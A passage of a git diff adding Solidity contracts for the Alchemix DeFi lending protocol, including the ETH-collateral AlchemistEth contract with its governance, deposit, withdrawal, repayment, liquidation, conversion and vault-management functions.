+      xtoken.burnFrom(msg.sender, _childAmount);
+      //lower debt cause burn
+      xtoken.lowerHasMinted(_childAmount);
+    }
+
+    uint256 _totalAmount = _parentAmount.add(_childAmount);
+    _cdp.totalDebt = _cdp.totalDebt.sub(_totalAmount, "");
+
+    emit TokensRepaid(msg.sender, _parentAmount, _childAmount);
+  }
+
+  /// @dev Attempts to liquidate part of a CDP's collateral to pay back its debt.
+  ///
+  /// @param _amount the amount of collateral to attempt to liquidate.
+  function liquidate(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized returns (uint256, uint256) {
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+    
+    // don't attempt to liquidate more than is possible
+    if(_amount > _cdp.totalDebt){
+      _amount = _cdp.totalDebt;
+    }
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(address(this), _amount);
+    //changed to new transmuter compatibillity 
+    _distributeToTransmuter(_withdrawnAmount);
+
+    _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, "");
+    _cdp.totalDebt = _cdp.totalDebt.sub(_withdrawnAmount, "");
+    emit TokensLiquidated(msg.sender, _amount, _withdrawnAmount, _decreasedValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Mints synthetic tokens by either claiming credit or increasing the debt.
+  ///
+  /// Claiming credit will take priority over increasing the debt.
+  ///
+  /// This function reverts if the debt is increased and the CDP health check fails.
+  ///
+  /// @param _amount the amount of alchemic tokens to borrow.
+  function mint(uint256 _amount) external nonReentrant noContractAllowed onLinkCheck expectInitialized {
+
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+
+    uint256 _totalCredit = _cdp.totalCredit;
+
+    if (_totalCredit < _amount) {
+      uint256 _remainingAmount = _amount.sub(_totalCredit);
+      _cdp.totalDebt = _cdp.totalDebt.add(_remainingAmount);
+      _cdp.totalCredit = 0;
+
+      _cdp.checkHealth(_ctx, "Alchemist: Loan-to-value ratio breached");
+    } else {
+      _cdp.totalCredit = _totalCredit.sub(_amount);
+    }
+
+    xtoken.mint(msg.sender, _amount);
+    if(_amount >= flushActivator) {
+      flushActiveVault();
+    }
+  }
+
+  /// @dev Gets the number of vaults in the vault list.
+  ///
+  /// @return the vault count.
+  function vaultCount() external view returns (uint256) {
+    return _vaults.length();
+  }
+
+  /// @dev Get the adapter of a vault.
+  ///
+  /// @param _vaultId the identifier of the vault.
+  ///
+  /// @return the vault adapter.
+  function getVaultAdapter(uint256 _vaultId) external view returns (IVaultAdapter) {
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    return _vault.adapter;
+  }
+
+  /// @dev Get the total amount of the parent asset that has been deposited into a vault.
+  ///
+  /// @param _vaultId the identifier of the vault.
+  ///
+  /// @return the total amount of deposited tokens.
+  function getVaultTotalDeposited(uint256 _vaultId) external view returns (uint256) {
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    return _vault.totalDeposited;
+  }
+
+  /// @dev Get the total amount of collateral deposited into a CDP.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the deposited amount of tokens.
+  function getCdpTotalDeposited(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.totalDeposited;
+  }
+
+function getCdpEarnedYield(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.getEarnedYield(_ctx);
+  }
+
+  /// @dev Get the total amount of alchemic tokens borrowed from a CDP.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the borrowed amount of tokens.
+  function getCdpTotalDebt(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.getUpdatedTotalDebt(_ctx);
+  }
+
+  /// @dev Get the total amount of credit that a CDP has.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the amount of credit.
+  function getCdpTotalCredit(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.getUpdatedTotalCredit(_ctx);
+  }
+
+  /// @dev Gets the last recorded block of when a user made a deposit into their CDP.
+  ///
+  /// @param _account the user account of the CDP to query.
+  ///
+  /// @return the block number of the last deposit.
+  function getCdpLastDeposit(address _account) external view returns (uint256) {
+    CDP.Data storage _cdp = _cdps[_account];
+    return _cdp.lastDeposit;
+  }
+  /// @dev sends tokens to the transmuter
+  ///
+  /// benefit of great nation of transmuter
+  function _distributeToTransmuter(uint256 amount) internal {
+        token.approve(transmuter,amount);
+        ITransmuter(transmuter).distribute(address(this),amount);
+        // lower debt cause of 'burn'
+        xtoken.lowerHasMinted(amount);
+  } 
+  /// @dev Checks that parent token is on peg.
+  ///
+  /// This is used over a modifier limit of pegged interactions.
+  modifier onLinkCheck() {
+    if(pegMinimum > 0 ){
+      uint256 oracleAnswer = uint256(IChainlink(_linkGasOracle).latestAnswer());
+      require(oracleAnswer > pegMinimum, "off peg limitation");
+    }
+    _;
+  }
+  /// @dev Checks that caller is not a eoa.
+  ///
+  /// This is used to prevent contracts from interacting.
+  modifier noContractAllowed() {
+    require(!address(msg.sender).isContract() && msg.sender == tx.origin, "Sorry we do not accept contract!");
+    _;
+  }
+  /// @dev Checks that the contract is in an initialized state.
+  ///
+  /// This is used over a modifier to reduce the size of the contract
+  modifier expectInitialized() {
+    require(initialized, "Alchemist: not initialized.");
+    _;
+  }
+
+  /// @dev Checks that the current message sender or caller is a specific address.
+  ///
+  /// @param _expectedCaller the expected caller.
+  function _expectCaller(address _expectedCaller) internal {
+    require(msg.sender == _expectedCaller, "");
+  }
+
+  /// @dev Checks that the current message sender or caller is the governance address.
+  ///
+  ///
+  modifier onlyGov() {
+    require(msg.sender == governance, "Alchemist: only governance.");
+    _;
+  }
+  /// @dev Updates the active vault.
+  ///
+  /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts
+  /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.
+  ///
+  /// @param _adapter the adapter for the new active vault.
+  function _updateActiveVault(IVaultAdapter _adapter) internal {
+    require(_adapter != IVaultAdapter(ZERO_ADDRESS), "Alchemist: active vault address cannot be 0x0.");
+    require(_adapter.token() == token, "Alchemist: token mismatch.");
+
+    _vaults.push(Vault.Data({
+      adapter: _adapter,
+      totalDeposited: 0
+    }));
+
+    emit ActiveVaultUpdated(_adapter);
+  }
+
+  /// @dev Recalls an amount of funds from a vault to this contract.
+  ///
+  /// @param _vaultId the identifier of the recall funds from.
+  /// @param _amount  the amount of funds to recall from the vault.
+  ///
+  /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value.
+  function _recallFunds(uint256 _vaultId, uint256 _amount) internal returns (uint256, uint256) {
+    require(emergencyExit || msg.sender == governance || _vaultId != _vaults.lastIndex(), "Alchemist: not an emergency, not governance, and user does not have permission to recall funds from active vault");
+
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _vault.withdraw(address(this), _amount);
+
+    emit FundsRecalled(_vaultId, _withdrawnAmount, _decreasedValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Attempts to withdraw funds from the active vault to the recipient.
+  ///
+  /// Funds will be first withdrawn from this contracts balance and then from the active vault. This function
+  /// is different from `recallFunds` in that it reduces the total amount of deposited tokens by the decreased
+  /// value of the vault.
+  ///
+  /// @param _recipient the account to withdraw the funds to.
+  /// @param _amount    the amount of funds to withdraw.
+  function _withdrawFundsTo(address _recipient, uint256 _amount) internal returns (uint256, uint256) {
+    // Pull the funds from the buffer.
+    uint256 _bufferedAmount = Math.min(_amount, token.balanceOf(address(this)));
+
+    if (_recipient != address(this)) {
+      token.safeTransfer(_recipient, _bufferedAmount);
+    }
+
+    uint256 _totalWithdrawn = _bufferedAmount;
+    uint256 _totalDecreasedValue = _bufferedAmount;
+
+    uint256 _remainingAmount = _amount.sub(_bufferedAmount);
+
+    // Pull the remaining funds from the active vault.
+    if (_remainingAmount > 0) {
+      Vault.Data storage _activeVault = _vaults.last();
+      (uint256 _withdrawAmount, uint256 _decreasedValue) = _activeVault.withdraw(
+        _recipient,
+        _remainingAmount
+      );
+
+      _totalWithdrawn = _totalWithdrawn.add(_withdrawAmount);
+      _totalDecreasedValue = _totalDecreasedValue.add(_decreasedValue);
+    }
+
+    totalDeposited = totalDeposited.sub(_totalDecreasedValue);
+
+    return (_totalWithdrawn, _totalDecreasedValue);
+  }
+}
\ No newline at end of file
diff --git a/defi/Alchemix/contracts/AlchemistEth.sol b/defi/Alchemix/contracts/AlchemistEth.sol
new file mode 100644
index 000000000..65cdbb76b
--- /dev/null
+++ b/defi/Alchemix/contracts/AlchemistEth.sol
@@ -0,0 +1,879 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.12;
+pragma experimental ABIEncoderV2;
+
+//import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import {Math} from "@openzeppelin/contracts/math/Math.sol";
+import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+import {Address} from "@openzeppelin/contracts/utils/Address.sol";
+import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
+import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
+
+import {CDP} from "./libraries/alchemist/CDP.sol";
+import {FixedPointMath} from "./libraries/FixedPointMath.sol";
+import {ITransmuter} from "./interfaces/ITransmuter.sol";
+import {IMintableERC20} from "./interfaces/IMintableERC20.sol";
+import {IChainlink} from "./interfaces/IChainlink.sol";
+import {IVaultAdapter} from "./interfaces/IVaultAdapter.sol";
+import {Vault} from "./libraries/alchemist/Vault.sol";
+import {IWETH9} from "./interfaces/IWETH9.sol";
+import {AlEth} from "./AlEth.sol";
+
+// ERC20,removing ERC20 from the alchemist
+//    ___    __        __                _               ___                              __         _ 
+//   / _ |  / / ____  / /  ___   __ _   (_) __ __       / _ \  ____ ___   ___ ___   ___  / /_  ___  (_)
+//  / __ | / / / __/ / _ \/ -_) /  ' \ / /  \ \ /      / ___/ / __// -_) (_-</ -_) / _ \/ __/ (_-< _   
+// /_/ |_|/_/  \__/ /_//_/\__/ /_/_/_//_/  /_\_\      /_/    /_/   \__/ /___/\__/ /_//_/\__/ /___/(_)  
+//  
+//      ___       __        ______  __    __   _______ .___  ___.  __       _______..___________.
+//     /   \     |  |      /      ||  |  |  | |   ____||   \/   | |  |     /       ||           |
+//    /  ^  \    |  |     |  ,----'|  |__|  | |  |__   |  \  /  | |  |    |   (----``---|  |----`
+//   /  /_\  \   |  |     |  |     |   __   | |   __|  |  |\/|  | |  |     \   \        |  |     
+//  /  _____  \  |  `----.|  `----.|  |  |  | |  |____ |  |  |  | |  | .----)   |       |  |     
+// /__/     \__\ |_______| \______||__|  |__| |_______||__|  |__| |__| |_______/        |__|     
+                                                                                              
+contract AlchemistEth is ReentrancyGuard {
+  using CDP for CDP.Data;
+  using FixedPointMath for FixedPointMath.FixedDecimal;
+  using Vault for Vault.Data;
+  using Vault for Vault.List;
+  using SafeERC20 for IMintableERC20;
+  using SafeMath for uint256;
+  using Address for address;
+
+  address public constant ZERO_ADDRESS = address(0);
+
+  /// @dev Resolution for all fixed point numeric parameters which represent percents. The resolution allows for a
+  /// granularity of 0.01% increments.
+  uint256 public constant PERCENT_RESOLUTION = 10000;
+
+  /// @dev The minimum value that the collateralization limit can be set to by the governance. This is a safety rail
+  /// to prevent the collateralization from being set to a value which breaks the system.
+  ///
+  /// This value is equal to 100%.
+  ///
+  /// IMPORTANT: This constant is a raw FixedPointMath.FixedDecimal value and assumes a resolution of 64 bits. If the
+  ///            resolution for the FixedPointMath library changes this constant must change as well.
+  uint256 public constant MINIMUM_COLLATERALIZATION_LIMIT = 1000000000000000000;
+
+  /// @dev The maximum value that the collateralization limit can be set to by the governance. This is a safety rail
+  /// to prevent the collateralization from being set to a value which breaks the system.
+  ///
+  /// This value is equal to 400%.
+  ///
+  /// IMPORTANT: This constant is a raw FixedPointMath.FixedDecimal value and assumes a resolution of 64 bits. If the
+  ///            resolution for the FixedPointMath library changes this constant must change as well.
+  uint256 public constant MAXIMUM_COLLATERALIZATION_LIMIT = 4000000000000000000;
+
+  event GovernanceUpdated(
+    address governance
+  );
+
+  event PendingGovernanceUpdated(
+    address pendingGovernance
+  );
+
+  event SentinelUpdated(
+    address sentinel
+  );
+
+  event TransmuterUpdated(
+    address transmuter
+  );
+
+  event RewardsUpdated(
+    address treasury
+  );
+
+  event HarvestFeeUpdated(
+    uint256 fee
+  );
+
+  event CollateralizationLimitUpdated(
+    uint256 limit
+  );
+
+  event EmergencyExitUpdated(
+    bool status
+  );
+
+  event ConversionPauseUpdated(
+    bool status
+  );
+
+  event ActiveVaultUpdated(
+    IVaultAdapter indexed adapter
+  );
+
+  event FundsHarvested(
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  event FundsRecalled(
+    uint256 indexed vaultId,
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  event FundsFlushed(
+    uint256 amount
+  );
+
+  event TokensDeposited(
+    address indexed account,
+    uint256 amount
+  );
+
+  event TokensWithdrawn(
+    address indexed account,
+    uint256 requestedAmount,
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  event TokensRepaid(
+    address indexed account,
+    uint256 parentAmount,
+    uint256 childAmount
+  );
+
+  event TokensLiquidated(
+    address indexed account,
+    uint256 requestedAmount,
+    uint256 withdrawnAmount,
+    uint256 decreasedValue
+  );
+
+  event LoanMinted(
+    address indexed account,
+    uint256 mintedAmount,
+    address syntheticAddress
+  );
+
+  event CollateralConverted(
+    address user,
+    uint256 covertedAmount
+  );
+
+  event KeepersSet(
+    address[] accounts,
+    bool[] flag
+  );
+
+  /// @dev The token that this contract is using as the parent asset.
+  IMintableERC20 public token;
+
+  /// @dev The address off the WETH contract.
+  address public weth;
+
+   /// @dev The token that this contract is using as the child asset.
+  AlEth public xtoken;
+
+  /// @dev The address of the account which currently has administrative capabilities over this contract.
+  address public governance;
+
+  /// @dev The address of the pending governance.
+  address public pendingGovernance;
+
+  /// @dev The address of the account which can initiate an emergency withdraw of funds in a vault.
+  address public sentinel;
+
+  /// @dev The address of the contract which will transmute synthetic tokens back into native tokens.
+  address public transmuter;
+
+  /// @dev The address of the contract which will receive fees.
+  address public rewards;
+
+  /// @dev The percent of each profitable harvest that will go to the rewards contract.
+  uint256 public harvestFee;
+
+  /// @dev The total amount the native token deposited into the system that is owned by external users.
+  uint256 public totalDeposited;
+
+  /// @dev when movemetns are bigger than this number flush is activated.
+  uint256 public flushActivator;
+
+  /// @dev A flag indicating if the contract has been initialized yet.
+  bool public initialized;
+
+  /// @dev A flag indicating if deposits and flushes should be halted and if all parties should be able to recall
+  /// from the active vault.
+  bool public emergencyExit;
+
+  bool public pauseConvert;
+
+  /// @dev The context shared between the CDPs.
+  CDP.Context private _ctx;
+
+  /// @dev A mapping of all of the user CDPs. If a user wishes to have multiple CDPs they will have to either
+  /// create a new address or set up a proxy contract that interfaces with this contract.
+  mapping(address => CDP.Data) private _cdps;
+
+  /// @dev A mapping of adapter addresses to keep track of vault adapters that have already been added
+  mapping(address => bool) public adapters;
+
+  /// @dev A list of all of the vaults. The last element of the list is the vault that is currently being used for
+  /// deposits and withdraws. Vaults before the last element are considered inactive and are expected to be cleared.
+  Vault.List private _vaults;
+
+  /// @dev A list of addresses that can call flush and harvest
+  mapping(address => bool) public keepers;
+  
+  constructor(
+    IMintableERC20 _token,
+    AlEth _xtoken,
+    address _governance,
+    address _sentinel
+  )
+    public
+  {
+    require(_governance != ZERO_ADDRESS, "Alchemist: governance address cannot be 0x0.");
+    require(_sentinel != ZERO_ADDRESS, "Alchemist: sentinel address cannot be 0x0.");
+
+    weth = address(_token);
+    token = _token;
+    xtoken = _xtoken;
+    governance = _governance;
+    sentinel = _sentinel;
+    flushActivator = 10000 ether;
+    emergencyExit = true;
+    pauseConvert = true;
+
+    uint256 COLL_LIMIT = MINIMUM_COLLATERALIZATION_LIMIT.mul(4);
+    _ctx.collateralizationLimit = FixedPointMath.FixedDecimal(COLL_LIMIT);
+    _ctx.accumulatedYieldWeight = FixedPointMath.FixedDecimal(0);
+  }
+
+  /// @dev Sets the pending governance.
+  ///
+  /// This function reverts if the new pending governance is the zero address or the caller is not the current
+  /// governance. This is to prevent the contract governance being set to the zero address which would deadlock
+  /// privileged contract functionality.
+  ///
+  /// @param _pendingGovernance the new pending governance.
+  function setPendingGovernance(address _pendingGovernance) external onlyGov {
+    require(_pendingGovernance != ZERO_ADDRESS, "Alchemist: governance address cannot be 0x0.");
+
+    pendingGovernance = _pendingGovernance;
+
+    emit PendingGovernanceUpdated(_pendingGovernance);
+  }
+
+  /// @dev Accepts the role as governance.
+  ///
+  /// This function reverts if the caller is not the new pending governance.
+  function acceptGovernance() external  {
+    require(msg.sender == pendingGovernance,"sender is not pendingGovernance");
+    address _pendingGovernance = pendingGovernance;
+    governance = _pendingGovernance;
+
+    emit GovernanceUpdated(_pendingGovernance);
+  }
+
+  function setSentinel(address _sentinel) external onlyGov {
+
+    require(_sentinel != ZERO_ADDRESS, "Alchemist: sentinel address cannot be 0x0.");
+
+    sentinel = _sentinel;
+
+    emit SentinelUpdated(_sentinel);
+  }
+
+  /// @dev Sets the transmuter.
+  ///
+  /// This function reverts if the new transmuter is the zero address or the caller is not the current governance.
+  ///
+  /// @param _transmuter the new transmuter.
+  function setTransmuter(address _transmuter) external onlyGov {
+
+    // Check that the transmuter address is not the zero address. Setting the transmuter to the zero address would break
+    // transfers to the address because of `safeTransfer` checks.
+    require(_transmuter != ZERO_ADDRESS, "Alchemist: transmuter address cannot be 0x0.");
+
+    transmuter = _transmuter;
+
+    emit TransmuterUpdated(_transmuter);
+  }
+  /// @dev Sets the flushActivator.
+  ///
+  /// @param _flushActivator the new flushActivator.
+  function setFlushActivator(uint256 _flushActivator) external onlyGov {
+    flushActivator = _flushActivator;
+
+  }
+
+  /// @dev Sets the rewards contract.
+  ///
+  /// This function reverts if the new rewards contract is the zero address or the caller is not the current governance.
+  ///
+  /// @param _rewards the new rewards contract.
+  function setRewards(address _rewards) external onlyGov {
+
+    // Check that the rewards address is not the zero address. Setting the rewards to the zero address would break
+    // transfers to the address because of `safeTransfer` checks.
+    require(_rewards != ZERO_ADDRESS, "Alchemist: rewards address cannot be 0x0.");
+
+    rewards = _rewards;
+
+    emit RewardsUpdated(_rewards);
+  }
+
+  /// @dev Sets the harvest fee.
+  ///
+  /// This function reverts if the caller is not the current governance.
+  ///
+  /// @param _harvestFee the new harvest fee.
+  function setHarvestFee(uint256 _harvestFee) external onlyGov {
+
+    // Check that the harvest fee is within the acceptable range. Setting the harvest fee greater than 100% could
+    // potentially break internal logic when calculating the harvest fee.
+    require(_harvestFee <= PERCENT_RESOLUTION, "Alchemist: harvest fee above maximum.");
+
+    harvestFee = _harvestFee;
+
+    emit HarvestFeeUpdated(_harvestFee);
+  }
+
+  /// @dev Sets the collateralization limit.
+  ///
+  /// This function reverts if the caller is not the current governance or if the collateralization limit is outside
+  /// of the accepted bounds.
+  ///
+  /// @param _limit the new collateralization limit.
+  function setCollateralizationLimit(uint256 _limit) external onlyGov {
+
+    require(_limit >= MINIMUM_COLLATERALIZATION_LIMIT, "Alchemist: collateralization limit below minimum.");
+    require(_limit <= MAXIMUM_COLLATERALIZATION_LIMIT, "Alchemist: collateralization limit above maximum.");
+
+    _ctx.collateralizationLimit = FixedPointMath.FixedDecimal(_limit);
+
+    emit CollateralizationLimitUpdated(_limit);
+  }
+
+  /// @dev Sets if the contract should enter emergency exit mode.
+  ///
+  /// @param _emergencyExit if the contract should enter emergency exit mode.
+  function setEmergencyExit(bool _emergencyExit) external {
+    require(msg.sender == governance || msg.sender == sentinel, "!governance && !sentinel");
+
+    emergencyExit = _emergencyExit;
+
+    emit EmergencyExitUpdated(_emergencyExit);
+  }
+
+  /// @dev Sets if the contract should pause conversions.
+  ///
+  /// @param _pauseConvert if the contract should pause conversions.
+  function setPauseConvert(bool _pauseConvert) external {
+    require(msg.sender == governance || msg.sender == sentinel, "!governance && !sentinel");
+
+    pauseConvert = _pauseConvert;
+
+    emit ConversionPauseUpdated(_pauseConvert);
+  }
+
+  /// @dev Sets the addresses of the keepers list.
+  ///
+  /// @param accounts the accounts to set.
+  /// @param flags the flags for the accounts.
+  function setKeepers(address[] calldata accounts, bool[] calldata flags) external onlyGov {
+    uint256 numAccounts = accounts.length;
+    for (uint256 i = 0; i < numAccounts; i++) {
+      keepers[accounts[i]] = flags[i];
+    }
+    emit KeepersSet(accounts, flags);
+  }
+
+  /// @dev Gets the collateralization limit.
+  ///
+  /// The collateralization limit is the minimum ratio of collateral to debt that is allowed by the system.
+  ///
+  /// @return the collateralization limit.
+  function collateralizationLimit() external view returns (FixedPointMath.FixedDecimal memory) {
+    return _ctx.collateralizationLimit;
+  }
+
+  /// @dev Initializes the contract.
+  ///
+  /// This function checks that the transmuter and rewards have been set and sets up the active vault.
+  ///
+  /// @param _adapter the vault adapter of the active vault.
+  function initialize(IVaultAdapter _adapter) external onlyGov {
+
+    require(!initialized, "Alchemist: already initialized");
+
+    require(transmuter != ZERO_ADDRESS, "Alchemist: cannot initialize transmuter address to 0x0");
+    require(rewards != ZERO_ADDRESS, "Alchemist: cannot initialize rewards address to 0x0");
+
+    _updateActiveVault(_adapter);
+
+    initialized = true;
+  }
+
+  /// @dev Migrates the system to a new vault.
+  ///
+  /// This function reverts if the vault adapter is the zero address, if the token that the vault adapter accepts
+  /// is not the token that this contract defines as the parent asset, or if the contract has not yet been initialized.
+  ///
+  /// @param _adapter the adapter for the vault the system will migrate to.
+  function migrate(IVaultAdapter _adapter) external expectInitialized onlyGov {
+
+    _updateActiveVault(_adapter);
+  }
+
+  /// @dev Harvests yield from a vault.
+  ///
+  /// @param _vaultId the identifier of the vault to harvest from.
+  ///
+  /// @return the amount of funds that were harvested from the vault.
+  function harvest(uint256 _vaultId) external expectInitialized onlyKeeper returns (uint256, uint256) {
+
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+
+    (uint256 _harvestedAmount, uint256 _decreasedValue) = _vault.harvest(address(this));
+
+    if (_harvestedAmount > 0) {
+      uint256 _feeAmount = _harvestedAmount.mul(harvestFee).div(PERCENT_RESOLUTION);
+      uint256 _distributeAmount = _harvestedAmount.sub(_feeAmount);
+
+      FixedPointMath.FixedDecimal memory _weight = FixedPointMath.fromU256(_distributeAmount).div(totalDeposited);
+      _ctx.accumulatedYieldWeight = _ctx.accumulatedYieldWeight.add(_weight);
+
+      if (_feeAmount > 0) {
+        token.safeTransfer(rewards, _feeAmount);
+      }
+
+      if (_distributeAmount > 0) {
+        _distributeToTransmuter(_distributeAmount);
+      }
+    }
+
+    emit FundsHarvested(_harvestedAmount, _decreasedValue);
+
+    return (_harvestedAmount, _decreasedValue);
+  }
+
+  /// @dev Recalls an amount of deposited funds from a vault to this contract.
+  ///
+  /// @param _vaultId the identifier of the recall funds from.
+  ///
+  /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value.
+  function recall(uint256 _vaultId, uint256 _amount) external nonReentrant expectInitialized returns (uint256, uint256) {
+
+    return _recallFunds(_vaultId, _amount);
+  }
+
+  /// @dev Recalls all the deposited funds from a vault to this contract.
+  ///
+  /// @param _vaultId the identifier of the recall funds from.
+  ///
+  /// @return the amount of funds that were recalled from the vault to this contract and the decreased vault value.
+  function recallAll(uint256 _vaultId) external nonReentrant expectInitialized returns (uint256, uint256) {
+    Vault.Data storage _vault = _vaults.get(_vaultId);
+    return _recallFunds(_vaultId, _vault.totalDeposited);
+  }
+
+  /// @dev Flushes buffered tokens to the active vault.
+  ///
+  /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of
+  /// additional funds.
+  ///
+  /// @return the amount of tokens flushed to the active vault.
+  function flush() external nonReentrant expectInitialized onlyKeeper returns (uint256) {
+
+    // Prevent flushing to the active vault when an emergency exit is enabled to prevent potential loss of funds if
+    // the active vault is poisoned for any reason.
+    require(!emergencyExit, "emergency pause enabled");
+
+    return flushActiveVault();
+  }
+
+  /// @dev Internal function to flush buffered tokens to the active vault.
+  ///
+  /// This function reverts if an emergency exit is active. This is in place to prevent the potential loss of
+  /// additional funds.
+  ///
+  /// @return the amount of tokens flushed to the active vault.
+  function flushActiveVault() internal returns (uint256) {
+
+    Vault.Data storage _activeVault = _vaults.last();
+    uint256 _depositedAmount = _activeVault.depositAll();
+
+    emit FundsFlushed(_depositedAmount);
+
+    return _depositedAmount;
+  }
+
+  /// @dev Deposits collateral into a CDP.
+  ///
+  /// @param _amount the amount of collateral to deposit.
+  function deposit(uint256 _amount, bool asEth) external payable nonReentrant noContractAllowed expectInitialized {
+    require(!emergencyExit, "emergency pause enabled");
+    
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+
+    if (asEth) {
+      require(_amount == msg.value, "_amount != msg.value");
+      IWETH9(weth).deposit{value: _amount}();
+    } else {  
+      require(msg.value == 0, "msg.value != 0");
+      token.safeTransferFrom(msg.sender, address(this), _amount);
+    }
+
+    if(_amount >= flushActivator) {
+      flushActiveVault();
+    }
+    totalDeposited = totalDeposited.add(_amount);
+
+    _cdp.totalDeposited = _cdp.totalDeposited.add(_amount);
+    _cdp.lastDeposit = block.number;
+
+    emit TokensDeposited(msg.sender, _amount);
+  }
+
+  /// @dev Attempts to withdraw part of a CDP's collateral.
+  ///
+  /// This function reverts if a deposit into the CDP was made in the same block. This is to prevent flash loan attacks
+  /// on other internal or external systems.
+  ///
+  /// @param _amount the amount of collateral to withdraw.
+  function withdraw(uint256 _amount, bool asEth) external nonReentrant noContractAllowed expectInitialized returns (uint256, uint256) {
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    require(block.number > _cdp.lastDeposit, "");
+
+    _cdp.update(_ctx);
+
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(msg.sender, _amount, asEth);
+
+    _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, "Exceeds withdrawable amount");
+    _cdp.checkHealth(_ctx, "Action blocked: unhealthy collateralization ratio");
+
+    emit TokensWithdrawn(msg.sender, _amount, _withdrawnAmount, _decreasedValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Repays debt with the native and or synthetic token.
+  ///
+  /// An approval is required to transfer native tokens to the transmuter.
+  function repay(uint256 _collateralAmount, uint256 _syntheticAmount, bool collateralAsEth) external payable nonReentrant noContractAllowed expectInitialized {
+    if ((!collateralAsEth || (collateralAsEth && _collateralAmount == 0)) && msg.value != 0) {
+      revert("blackhole ETH");
+    }
+
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+
+    if (_collateralAmount > 0) {
+      if (collateralAsEth) {
+        require(_collateralAmount == msg.value, "_collateralAmount != msg.value");
+        IWETH9(weth).deposit{value: _collateralAmount}();
+      } else {
+        token.safeTransferFrom(msg.sender, address(this), _collateralAmount);
+      }
+      _distributeToTransmuter(_collateralAmount);
+    }
+
+    if (_syntheticAmount > 0) {
+      xtoken.burnFrom(msg.sender, _syntheticAmount);
+      //lower debt cause burn
+      xtoken.lowerHasMinted(_syntheticAmount);
+    }
+    uint256 _totalAmount = _collateralAmount.add(_syntheticAmount);
+    _cdp.totalDebt = _cdp.totalDebt.sub(_totalAmount);
+
+    emit TokensRepaid(msg.sender, _collateralAmount, _syntheticAmount);
+  }
+
+  /// @dev Attempts to liquidate part of a CDP's collateral to pay back its debt.
+  ///
+  /// @param _amount the amount of collateral to attempt to liquidate.
+  function liquidate(uint256 _amount) external nonReentrant noContractAllowed expectInitialized returns (uint256, uint256) {
+    CDP.Data storage _cdp = _cdps[msg.sender];
+    _cdp.update(_ctx);
+    
+    // don't attempt to liquidate more than is possible
+    if(_amount > _cdp.totalDebt){
+      _amount = _cdp.totalDebt;
+    }
+    (uint256 _withdrawnAmount, uint256 _decreasedValue) = _withdrawFundsTo(payable(address(this)), _amount, false);
+    //changed to new transmuter compatibillity 
+    _distributeToTransmuter(_withdrawnAmount);
+
+    _cdp.totalDeposited = _cdp.totalDeposited.sub(_decreasedValue, "");
+    _cdp.totalDebt = _cdp.totalDebt.sub(_withdrawnAmount, "");
+    emit TokensLiquidated(msg.sender, _amount, _withdrawnAmount, _decreasedValue);
+
+    return (_withdrawnAmount, _decreasedValue);
+  }
+
+  /// @dev Converts ETH/WETH to alETH
+  ///
+  /// @param _amount the amount of collateral to convert.
+  function convert(uint256 _amount, bool asEth) external payable nonReentrant noContractAllowed expectInitialized {
+    require(!pauseConvert, "Alchemist: conversions are paused.");
+    if (asEth) {
+      require(_amount == msg.value, "_amount != msg.value");
+      IWETH9(weth).deposit{value: _amount}();
+    } else {  
+      require(msg.value == 0, "msg.value != 0");
+      token.safeTransferFrom(msg.sender, address(this), _amount);
+    }
+
+    // TODO test lowerHasMinted
+    xtoken.mint(msg.sender, _amount);
+
+    _distributeToTransmuter(_amount);
+
+    require(xtoken.hasMinted(address(this)) <= xtoken.ceiling(address(this)),"AlETH: Alchemist's ceiling was breached.");
+
+    emit CollateralConverted(msg.sender, _amount);
+  }
+
+  /// @dev Recover eth sent directly to the Alchemist
+  ///
+  /// only callable by governance
+  function recoverLostFunds() external onlyGov() {
+    payable(governance).transfer(address(this).balance);
+  }
+
+  /// @dev Mints synthetic tokens by either claiming credit or increasing the debt.
+  ///
+  /// Claiming credit will take priority over increasing the debt.
+  ///
+  /// This function reverts if the debt is increased and the CDP health check fails.
+  ///
+  /// @param _amount the amount of alchemic tokens to borrow.
